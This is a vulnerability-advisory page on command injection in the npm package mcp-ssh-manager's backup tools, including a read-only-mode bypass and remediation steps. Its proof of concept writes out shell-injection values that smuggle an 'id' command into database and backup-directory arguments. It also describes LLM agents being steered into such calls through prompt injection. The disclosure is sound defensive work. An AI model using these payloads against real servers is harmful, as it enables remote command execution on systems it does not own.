NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

mcp-ssh-manager: Remote code execution (RCE) via command injection in the backup subsystemGHSA-qwwm-vrm9-4mw8

HIGHFix: bvisible/mcp-ssh-manager@d40daa8

GHSA-qwwm-vrm9-4mw8 is a high-severity (CVSS 8.8) OS Command Injection vulnerability in mcp-ssh-manager. A fix is available for mcp-ssh-manager — see the affected versions and patch details below.

Also known asCVE-2026-129995
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-qwwm-vrm9-4mw8.

EPSS Exploitation Probability

via FIRST.org ↗
1.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs69th percentile — riskier than 69% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
📦mcp-ssh-manager

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

src/backup-manager.js builds shell command strings for the ssh_backup_* tools by concatenating caller-controlled tool arguments (database, dbUser, dbPassword, dbHost, backupDir, paths, exclude, …) directly into the string with no shell escaping. The resulting string is passed to ssh.execCommand(), which runs it through the remote server's login shell. An argument that contains shell metacharacters (;, $(...), backticks, |) therefore executes arbitrary commands on the target server. This is a remote code execution (RCE) vulnerability: an attacker who controls the tool arguments gains arbitrary command execution on every remote server the MCP instance manages, running as the configured SSH user.

This is the same vulnerability class that was fixed for the database helpers in CVE-2026-77383 / GHSA-4jx9-2fwj-pg4j. That fix added a centralized shellQuote() and was applied to src/database-manager.js (the ssh_db_* tools) only. The parallel builders in src/backup-manager.js (the ssh_backup_* tools) were not covered and remain vulnerable in the current release, v3.8.0.

$ grep -c shellQuote src/database-manager.js src/backup-manager.js
src/database-manager.js:95        <- fixed (CVE-2026-77383)
src/backup-manager.js:0           <- NOT fixed

Affected component

  • Package: mcp-ssh-manager (npm), repository bvisible/mcp-ssh-manager
  • Affected versions: <= 3.8.0 (latest at time of report)
  • File: src/backup-manager.js (all builders); reached from the tool handlers in src/index.js
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS command injection)
  • Impact: Remote Code Execution (RCE) on managed remote servers — arbitrary OS command execution as the configured SSH user

Details

Every builder in src/backup-manager.js interpolates arguments without escaping. Example — buildMySQLDumpCommand:

let command = 'mysqldump';
if (user)     command += ` -u${user}`;
if (password) command += ` -p'${password}'`;   // single-quote only -> breakable with '
if (host)     command += ` -h ${host}`;
command += ` ${database}`;                      // fully unquoted
if (compress) command += ` | gzip > "${outputFile}"`;

The tool handler passes tool arguments straight into the builder (no validation beyond z.string() type checking), and the returned string is executed on the remote host:

// src/index.js  (ssh_backup_create, mysql branch)
backupCommand = buildMySQLDumpCommand({ database, user: dbUser, password: dbPassword, host: dbHost, ... });
const result = await ssh.execCommand(backupCommand);   // remote login shell

SSHManager.execCommand() runs the string with this.client.exec(fullCommand, …) (ssh2), i.e. the remote sshd executes it via the user's shell, so ;, $(...), backticks and | are interpreted.

Reachable sinks (all confirmed)

ToolAttacker-controlled argument(s)Builder / sink
ssh_backup_createdatabase, dbUser, dbPassword, dbHost, backupDir, paths, excludebuildMySQL/PostgreSQL/MongoDB/FilesBackupCommand, plus inline mkdir -p "${backupDir}", stat … "${backupFile}", buildSaveMetadataCommand, buildCleanupCommand
ssh_backup_restoredatabase, targetPath, connection paramsbuildRestoreCommand → MySQL/PG/Mongo/Files restore builders
ssh_backup_scheduleschedule, database, paths, cronCommentscript written to the remote host + buildCronScheduleCommand (persistent, runs from cron)
ssh_backup_listbackupDirbuildListBackupsCommand → find "${backupDir}" …

Security-mode bypass (most critical)

ssh_backup_list is not listed in READONLY_BLOCKED_TOOLS and is not a COMMAND_BEARING_TOOLS, and its handler does not call applyServerPolicy at all. In src/policy.js, evaluatePolicy therefore returns { allowed: true } for it under both readonly and restricted modes. An operator who hardens a server to readonly (intending "the agent may never run commands here") can still be made to execute arbitrary commands on that server through the unescaped backupDir argument of ssh_backup_list. This mirrors the "ssh_db_list bypasses readonly/restricted" note in CVE-2026-77383.

Proof of concept

The following session imports the unmodified builders from the repository, shows the command string they generate for an attacker-controlled argument, and delivers that exact string to a real sshd over SSH exec (which is what ssh.execCommand() does internally). The injected command runs on the remote host.

$ node -p "require('./package.json').version"
3.8.0

$ node -e "import('./src/backup-manager.js').then(m=>console.log(m.buildMySQLDumpCommand(
    {database:'appdb; id > /tmp/pwned.txt; #',user:'backup',host:'db.internal',
     outputFile:'/tmp/app.sql.gz',compress:true})))"
mysqldump -ubackup -h db.internal -P 3306 --single-transaction --routines --triggers appdb; id > /tmp/pwned.txt; # | gzip > "/tmp/app.sql.gz"

# deliver over SSH exec (identical to ssh.execCommand)
$ ssh deploy@testhost "$CMD"; echo exit=$?
exit=0

$ ssh deploy@testhost 'cat /tmp/pwned.txt'
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy)      <-- injected command executed on the remote host

Mode-bypass variant via ssh_backup_list (works on a readonly server):

$ node -e "import('./src/backup-manager.js').then(m=>process.stdout.write(
    m.buildListBackupsCommand('/var/backups\"; id > /tmp/pwned.txt; echo \"', null)))"
find "/var/backups"; id > /tmp/pwned.txt; echo "" -name "*.meta.json" -type f | while read -r file; do cat "$file"; echo "---"; done

$ ssh deploy@testhost "$LST"; ssh deploy@testhost 'cat /tmp/pwned.txt'
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy)

(See attached session.txt / live_repro.log for the full runs and poc.mjs for a standalone reproducer.)

<img width="2400" height="1000" alt="poc_screenshot" src="https://github.com/user-attachments/assets/40463fac-8e32-42c6-a758-d40d7ba2761b" />

mcp-ssh-manager-backup-rce-poc.zip

Impact

Remote Code Execution (RCE) — arbitrary OS command execution on the managed remote server, running as the configured SSH user — identical impact to CVE-2026-77383. In the default unrestricted mode this is reachable through ssh_backup_create, ssh_backup_restore, ssh_backup_schedule (the last also yields a persistent cron foothold) and ssh_backup_list. On servers hardened to readonly/restricted, ssh_backup_list still reaches it, bypassing the intended tool restriction.

Threat model

Consistent with CVE-2026-77383: the tool arguments are treated as untrusted. In an MCP deployment they are produced by the language model and can be steered by an indirect prompt injection (malicious content the agent reads) or by a malicious/compromised MCP client. No exploitation occurs when a fully trusted operator supplies only benign values.

Remediation

Apply the existing shellQuote() from src/database-manager.js to every argument interpolated by the builders in src/backup-manager.js (database, user, password, host, port, outputFile, outputDir, paths, exclude, database in restore, schedule/cronComment in the cron builder), and to the inline interpolations in the ssh_backup_* handlers in src/index.js (mkdir -p "${backupDir}", stat … "${backupFile}", echo '…' > "${metadataPath}"). Prefer passing values as argv where the transport allows it. Additionally, route ssh_backup_list through applyServerPolicy so it is subject to the same read-only semantics as the other backup tools.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmcp-ssh-managerall versions3.8.5npm install mcp-ssh-manager@3.8.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mcp-ssh-manager, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mcp-ssh-manager to 3.8.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qwwm-vrm9-4mw8 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

## Summary `src/backup-manager.js` builds shell command strings for the `ssh_backup_*` tools by concatenating **caller-controlled tool arguments** (`database`, `dbUser`, `dbPassword`, `dbHost`, `backupDir`, `paths`, `exclude`, …) directly into the string with **no shell escaping**. The resulting string is passed to `ssh.execCommand()`, which runs it through the remote server's login shell. An argument that contains shell metacharacters (`;`, `$(...)`, backticks, `|`) therefore executes arbitrary commands on the target server. **This is a remote code execution (RCE) vulnerability**: an attacke
O3 Security · Impact-Aware SCA

Is GHSA-qwwm-vrm9-4mw8 in your dependencies?

Find it across npm, including transitive dependencies.

mcp-ssh-manager: Remote code execution (RCE) via…